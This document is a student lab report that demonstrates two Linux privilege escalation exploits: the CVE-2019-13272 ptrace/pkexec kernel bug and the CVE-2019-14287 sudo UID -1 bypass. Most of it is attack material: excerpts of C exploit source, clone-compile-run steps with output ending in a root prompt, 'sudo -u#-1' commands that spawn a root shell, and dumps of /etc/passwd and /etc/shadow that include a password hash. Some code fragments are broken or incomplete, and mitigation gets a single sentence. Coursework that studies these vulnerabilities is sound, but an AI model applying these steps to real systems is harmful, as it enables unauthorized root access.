

Sri Lanka Institute of Information Technology



Local Privileges escalation

**Local Root vulnerability- CVE-2019-13272 &
Security Bypass Vulnerability – CVE-2019-14287**

**Tharana Hansaja Weerasinghe
IT19159140**

**Faculty of Computing
Sri Lanka Institute of Information Technology**

Abstract

The purpose of this report is to discover and exploit and mitigate Linux Kernel vulnerability and Now I exploit two Linux Kernel vulnerability which Linux ***Local Root vulnerability- CVE-2019-13272*** And ***Security Bypass Vulnerability – CVE-2019-14287*** so I explain one by one how to do this and this and this report it is a summary of this exploitation if you want to learn how to do this exploitation part by part you can watch my this document related video videos , I mention video link in this report end

Finally, this research paper explores the Linux vulnerability and exploit, mitigate or prevention proposed by different researchers and analyzes them

These two-vulnerability basically based on Local Privileges escalation method so first I explain what the Local Privileges escalation methods are

Introduction to Local Privileges escalation

Local Privileges escalation (LPE) is a method for leveraging the code or service vulnerabilities available to handle standard or guest user tasks or change privileges from root to root or admin user. These unwanted modifications might lead to a breach of permissions or privileges as ordinary users may impair the system by having shell or root permission. Anyone can thus gain vulnerability and use it to have higher levels of access.

Understanding Privileges and Permissions

There are three permissions, including reading, write, and execute

- Read permission: As the name suggests that any user could only have the privilege only to view or read the contents of the file as well as the list of the contents of a directory.
- Write permission: With the write permission, a user can read as well as modify the content of a file and the directory.
- Execute permission: Execute permission allows any users to execute a file, program, or a script. With this permission, a user can convert an existing directory as well as make the existing directory as a working directory.

Privilege Escalation

Anyone with the knowledge about vulnerability can extend their privileges to root or admin in the operating service or program's code flow.

A number of methods, like PowerShell, executable binaries, Metasploit modules, etc, are used to increase user privileges. Anyone creates methods for configuring victims' machine or server settings of the individual victims to work or interact with services. You must verify your current user permissions such as writing the file, readable file, token generation, theft of token, etc. Hackers can keep access to and control of all services and make them even more vulnerable to

Now, I explain vulnerability that Linux Local Root vulnerability- CVE-2019-13272

- **Linux Local Root vulnerability- CVE-2019-13272**

Current Description

[1] In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles the recording of the credentials of a process that wants to create a ptrace relationship, which allows local users to obtain root access by leveraging certain scenarios with a parent-child process relationship, where a parent drops privileges and calls execve (potentially allowing control by an attacker). One contributing factor is an object lifetime issue (which can also cause a panic). Another contributing factor is incorrect marking of a ptrace relationship as privileged, which is exploitable through (for example) Polkit's pkexec helper with PTRACE_TRACEME. NOTE: SELinux deny_ptrace might be a usable workaround in some environments.

- Important notice the Linux kernel before 5.1.17,

Now I follow my setup exploits this vulnerability (screenshot)

First, you can clone a git URL for C code related to exploiting vulnerability then you can extract files.ZIP file and go this directory that file save directory

```
root@kali: ~/Desktop/SOS
File Actions Edit View Help
root@kali: ~/Desktop/SOS x
root@kali:~/Desktop/SOS# git clone https://github.com/jas502n/CVE-2019-13272.git
Cloning into 'CVE-2019-13272' ...
remote: Enumerating objects: 44, done.
remote: Counting objects: 100% (44/44), done.
remote: Compressing objects: 100% (42/42), done.
remote: Total 44 (delta 20), reused 1 (delta 0), pack-reused 0
Unpacking objects: 100% (44/44), done.
root@kali:~/Desktop/SOS#
```

Otherwise, you can write the code like this, but it is a very hard coding session

```
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>

#define DEBUG

#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif

#define SAFE(expr) ({ \
    typeof(expr) __res = (expr); \
    if (__res == -1) { \
        dprintf("[-] Error: %s\n", #expr); \
        return 0; \
    } \
    __res; \
})

#define max(a,b) ((a)>(b) ? (a) : (b))

static const char *SHELL = "/bin/bash";

static int middle_success = 1;
static int block_pipe[];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;

const char *helpers[1024];
const char *known_helpers[] = {
```

```

/*
 * now we execute a suid executable (pkexec).
 * Because the ptrace relationship is considered to be privileged,
 * this is a proper suid execution despite the attached tracer,
 * not a degraded one.
 * at the end of execve(), this process receives a SIGTRAP from ptrace.
 */
execl(pkexec_path, basename(pkexec_path), NULL);

dprintf("[~] execl: Executing suid executable failed");
exit(EXIT_FAILURE);
}

SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));

/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
    dprintf("[~] getpwuid: Failed to retrieve username");
    exit(EXIT_FAILURE);
}

middle_success = 1;
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
      helper_path,
      "--help", NULL);
middle_success = 0;
dprintf("[~] execl: Executing pkexec failed");
exit(EXIT_FAILURE);
}

/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
    struct user_regs_struct regs;
    struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
    SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
    SAFE(waitpid(pid, &dummy_status, 0));
    SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));

    /* set up indirect arguments */
    unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffL;
    struct injected_page {
        unsigned long argv[1];
        unsigned long envv[1];
        char arg0[0];
        char path[1];
    } ipage = {
        .argv = { scratch_area + offsetof(struct injected_page, arg0) }
    };
};

```

```

// ***** Detect *****

static int check_env(void) {
    const char* xdg_session = getenv("XDG_SESSION_ID");

    dprintf("[~] Checking environment ... \n");

    if (stat(pkexec_path, &st) != 0) {
        dprintf("[~] Could not find pkexec executable at %s", pkexec_path);
        exit(EXIT_FAILURE);
    }
    if (stat(pkaction_path, &st) != 0) {
        dprintf("[~] Could not find pkaction executable at %s", pkaction_path);
        exit(EXIT_FAILURE);
    }
    if (xdg_session == NULL) {
        dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
        return 1;
    }
    if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
        dprintf("[!] Warning: Could not find active PolKit agent\n");
        return 1;
    }
    if (stat("/usr/sbin/getsebool", &st) == 0) {
        if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {
            dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
            return 1;
        }
    }
}

dprintf("[~] Done, looks good\n");

return 0;
}

/*
 * Use pkaction to search PolKit policy actions for viable helper executables.
 * Check each action for allow_active=yes, extract the associated helper path,
 * and check the helper path exists.
 */
int find_helpers() {
    char cmd[1024];
    snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
    FILE *fp;
    fp = popen(cmd, "r");
    if (fp == NULL) {
        dprintf("[~] Failed to run: %s\n", cmd);
        exit(EXIT_FAILURE);
    }
}

```

Next you can execute this c program like this command “gcc -s youfilename.c -o name” Then run the exe file now you can access root directory not a root permission

```
root@kali: ~/Desktop/CVE-2019-13272-master
File Actions Edit View Help
root@kali: ~/...-13272-master x
root@kali:~/Desktop/CVE-2019-13272-master# ls
CVE-2019-13272.c CVE-2019-13272.jpg hack pwd README.md
root@kali:~/Desktop/CVE-2019-13272-master# gcc -s CVE-2019-13272.c -o hacking
root@kali:~/Desktop/CVE-2019-13272-master# ls
CVE-2019-13272.c CVE-2019-13272.jpg hack hacking pwd README.md
root@kali:~/Desktop/CVE-2019-13272-master# ./hacking
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[~] Done, looks good
[.] Searching for known helpers ...
[~] Found known helper: /usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper
[.] Using helper: /usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
[.] Tracing midpid ...
[~] Attached to midpid
root@kali:/root/Desktop/CVE-2019-13272-master#
```

Proof of Concept: (Video presentation)

References: ()

[1] <https://nvd.nist.gov/vuln/detail/CVE-2019-13272>

<https://github.com/jas502n/CVE-2019-13272>

<https://github.com/R0X4R/CVE-2019-13272>

- **Security Bypass Vulnerability – CVE-2019-14287**

Now we discuss second vulnerability is Security Bypass Vulnerability in Linux Kernel, this vulnerability is very interesting and popular

Vulnerability Details:

- Release date: 14th October 2019
- CVE ID: CVE-2019-14287
- Affected Versions: Versions prior to <= 1.8.28
- https://www.sudo.ws/alerts/minus_1_uid.html

Current Description

[2] The security policy bypass vulnerability that allows users on a Linux system to execute commands as root, while the user permissions in the sudoers file explicitly prevents these commands from being run as root.

It can be executed by a user that has ALL permissions in the Runas specification. Which means they can execute commands as any or all users on the system.

This consequently allows users to run commands and tools as root by specifying the user id (UID) as -1

Before the exploit how to ready your Linux pc

First you can want to check your Linux sudo version It can look this way

First step

```
sudo --version or sudo --version | grep version
```

```
[tharanahansaja@localhost ~]$ sudo --version | grep version
Sudo version 1.8.28
Sudoers policy plugin version 1.8.28
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.28
[tharanahansaja@localhost ~]$
```

If you sudo version is above 1.8.28 you can install the previous any sudo version and How to download it

Second step

Download sudo version - <https://www.sudo.ws/download.html>

Third step

sudo to extract the file.

To install some file *.tar.gz, you basically would do:

1. Open a console, and go to the directory where the file is
2. Type: tar -zxvf file.tar.gz
3. Read the file README to know if you need some dependencies.

Fourth step

Most of the times you only need to:

1. type `./configure`
2. make
3. sudo make install

```
[tharanahansaja@localhost ~]$ cd Downloads
[tharanahansaja@localhost Downloads]$ ls
assignment
assignment.zip

sudo-1.8.16
sudo-1.8.16.tar.gz
[tharanahansaja@localhost Downloads]$ cd sudo-1.8.16/
[tharanahansaja@localhost sudo-1.8.16]$ ls
ABOUT-NLS      config.status  init.d          Makefile        pathnames.h.in
aclocal.m4      config.sub     INSTALL         Makefile.in     plugins
autogen.sh      configure     INSTALL.configure  MANIFEST        po
ChangeLog       configure.ac   install-sh      mkdep.pl        pp
config.guess    doc           lib             mkinstalldirs  README
config.h        examples     libtool         mkpkg           README.LDAP
config.h.in     include       ltmain.sh       NEWS            src
config.log      indent.pro    m4              pathnames.h     sudo.pp

[tharanahansaja@localhost sudo-1.8.16]$ ./configure
configure: Configuring Sudo version 1.8.16
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking how to run the C preprocessor... gcc -E
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking for ANSI C header files... yes
checking for sys/types.h... yes
```

Explanation of exploit

What is sudo command ?

sudo is a command that allows you to run scripts or programs that require administrative privileges. It stands for super user do.

You can use the su command (switch user) to switch the superuser.

```
wee@kali:/$ su root
Password:
root@kali:/# visudo
```

How to check sudo version installed ?

sudo -version or sudo --version | grep version

```
[tharanahansaja@localhost ~]$ sudo --version | grep version
Sudo version 1.8.28
Sudoers policy plugin version 1.8.28
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.28
[tharanahansaja@localhost ~]$
```

How user information is stored in Linux

Each user account has a username, unique identifier (UID), group (GID), home directory, and the default shell to be used when the user logs in to the system.

All user account related information is stored in the *passwd* file, located in */etc/passwd*

Passwords in the *passwd* file are encrypted and are therefore represented by an x.

The encrypted passwords for accounts are stored in the *shadow* file, located in */etc/shadow*. The shadow file can only be accessed by the root user.

Structure of user account

username:password:UID:GID:comments:home_directory:shell

```
fe80::20c:29ff:fe22:92d1/ffff:ffff:ffff:ffff::
Sudoers I/O plugin version 1.8.5p2
root@kali:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
mysql:x:101:103:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
colord:x:103:107:colord colour management daemon,,,:/var/lib/colord:/bin/false
usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false
miredo:x:105:65534::/var/run/miredo:/bin/false
ntp:x:106:112::/home/ntp:/bin/false
Debian-exim:x:107:113::/var/spool/exim4:/bin/false
arpwatch:x:108:116:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh
avahi:x:109:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
beef-xss:x:110:118::/var/lib/beef-xss:/bin/false
dradis:x:111:120::/var/lib/dradis:/bin/false
pulse:x:112:121:PulseAudio daemon,,,:/var/run/pulse:/bin/false
speech-dispatcher:x:113:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/
```

The first user in the passwd file is the root account

The root account always has a UID of 0

System accounts have a UID of less than 1000 while user accounts have UID \geq 1000

My personal account have a UID of less than 1001 while user accounts have UID \geq 1001

The sudoers file

The sudoers file contains all the permissions for users and groups on a Linux system. it is found in */etc/sudoers*

The **sudoers** file can be accessed and modified securely by using **visudo**.

```
saned:x:125:135:./home/saned:/bin/false
root@kali:~# cat /etc/shadow
root:$6$2WabNLm0$JQkofvLCZvlghaL3.I21Gy9QGA4n0El5BaGMt fi/LAn2nwQ0A1f6n5oLiwNW0X
/nDQ61tShgf6S.jRmSBUnM/:18389:0:99999:7:::
daemon*:16506:0:99999:7:::
bin*:16506:0:99999:7:::
sys*:16506:0:99999:7:::
sync*:16506:0:99999:7:::
games*:16506:0:99999:7:::
man*:16506:0:99999:7:::
lp*:16506:0:99999:7:::
mail*:16506:0:99999:7:::
news*:16506:0:99999:7:::
uucp*:16506:0:99999:7:::
proxy*:16506:0:99999:7:::
www-data*:16506:0:99999:7:::
backup*:16506:0:99999:7:::
list*:16506:0:99999:7:::
irc*:16506:0:99999:7:::
gnats*:16506:0:99999:7:::
nobody*:16506:0:99999:7:::
libuuid!:16506:0:99999:7:::
mysql!:16506:0:99999:7:::
messagebus*:16506:0:99999:7:::
colord*:16506:0:99999:7:::
usbmux*:16506:0:99999:7:::
miredo*:16506:0:99999:7:::
ntp*:16506:0:99999:7:::
Debian-exim!:16506:0:99999:7:::
arpwatch!:16506:0:99999:7:::
avahi*:16506:0:99999:7:::
beef-xss*:16506:0:99999:7:::
dradis*:16506:0:99999:7:::
pulse*:16506:0:99999:7:::
speech-dispatcher!:16506:0:99999:7:::
haldaemon*:16506:0:99999:7:::
```

What is visudo ?

visudo is a tool that allows you to access and make changes to the **sudoers** file securely, it does this by ensuring that only one user is editing the **sudoers** file and by checking for logical errors.

We will use **visudo** to demonstrate the exploit.

```
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
Cmnd_Alias VIM = /usr/bin/vi
# User privilege specification
root    ALL=(ALL:ALL) ALL
wee     ALL=(ALL, !root) VIM
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#include_dir /etc/sudoers.d
~
~
~
~
```

POC

This will depend on user permissions in regard to commands specified within the **sudoers** file.

Requirements for this exploit:

The user requires sudo privileges that allow running of commands with user ID's – We will be setting this up in the sudoers file

sudo version <= 1.8.28

1) Create user on system.

```
Debian-gdm:~:16506:0:99999:7:::  
rtkit:~:16506:0:99999:7:::  
saned:~:16506:0:99999:7:::  
root@kali:~# useradd -m -s /bin/bash wee  
root@kali:~# passwd wee  
Enter new UNIX password:  
Retype new UNIX password:  
passwd: password updated successfully
```

2) Modify the **sudoers** file with **visudo**.

```
# Cmnd alias specification  
Cmnd_Alias VIM = /usr/bin/vi  
# User privilege specification  
root    ALL=(ALL:ALL) ALL  
wee     ALL=(ALL, !root) VIM  
# Allow members of group sudo to execute any command  
%sudo   ALL=(ALL:ALL) ALL
```

3) Provide the user with **sudo** privileges and specify the commands that can be run.

Wee ALL=(ALL, !root) /usr/bin/vi

```
# User privilege specification  
root    ALL=(ALL:ALL) ALL  
wee     ALL=(ALL, !root) VIM  
# Allow members of group sudo to execute any command  
%sudo   ALL=(ALL:ALL) ALL
```

4) You can also specify a command alias.

```
Cmnd_Alias VIM = /usr/bin/vi
```

```
# Cmnd alias specification
Cmnd_Alias VIM = /usr/bin/vi
```

5) After setting up permissions, log in as user **alexis** and run command:

```
sudo -u#-1 vi /etc/shadow
```

```
wee@kali:/$ su root
Password:
root@kali:/# visudo
root@kali:/# su wee
wee@kali:/$ sudo -u#0 id
[sudo] password for wee:
Sorry, user wee is not allowed to execute '/usr/bin/id' as root on kali.
wee@kali:/$ sudo -u#-1 id
[sudo] password for wee:
uid=0(root) gid=0(root) groups=0(root)
wee@kali:/$ id
uid=1000(wee) gid=1001(wee) groups=1001(wee)
wee@kali:/$ su root
Password:
root@kali:/# visudo
```

6) To confirm this try running it without specifying the UID.

```
sudo vi /etc/shadow
```

This confirms that the UID -1 bypasses the permissions and allows for command execution.

You can also confirm this by using the id command.

And now you can create file root directory does not root permission


```

root@kali:/# su wee
wee@kali:/$ sudo vi /root/test1.txt
Sorry, user wee is not allowed to execute '/usr/bin/vi /root/test1.txt' as root on kali.
wee@kali:/$ sudo -u#-1 vi /root/test1.txt
wee@kali:/$ su root
Password:
root@kali:/# ls -alps
total 108
4 drwxr-xr-x 24 root root 4096 May 8 02:35 ./
4 drwxr-xr-x 24 root root 4096 May 8 02:35 ../
0 -rw-r--r-- 1 root root 0 Mar 12 2015 0
4 drwxr-xr-x 2 root root 4096 May 7 13:11 bin/
4 drwxr-xr-x 3 root root 4096 May 7 13:11 boot/
0 drwxr-xr-x 15 root root 3320 May 8 01:51 dev/
12 drwxr-xr-x 176 root root 12288 May 8 02:34 etc/
4 -rw-r--r-- 1 root root 625 Dec 19 2014 example.conf.json
4 drwxr-xr-x 3 root root 4096 May 8 02:03 home/
0 lrwxrwxrwx 1 root root 35 May 7 12:59 initrd.img -> /boot/initrd.img-3.18.0-kali3-amd64
4 drwxrwxr-x 17 root root 4096 May 7 12:59 lib/
4 drwxr-xr-x 2 root root 4096 May 7 12:59 lib64/

```

7) If a user can run any command then we can get a bash shell as root user

```
wee ALL=(ALL, !root) ALL
```

```
sudo -u#-1 bash
```

How to mitigate above these vulnerability

You can update latest release patches for Linux kernel and sudo version After that is done You are safe from these vulnerability

References

[1] <https://nvd.nist.gov/vuln/detail/CVE-2019-13272>

[2] <https://nvd.nist.gov/vuln/detail/CVE-2019-14287>

<https://github.com/jas502n/CVE-2019-13272>

<https://github.com/R0X4R/CVE-2019-13272>

https://www.sudo.ws/alerts/minus_1_uid.html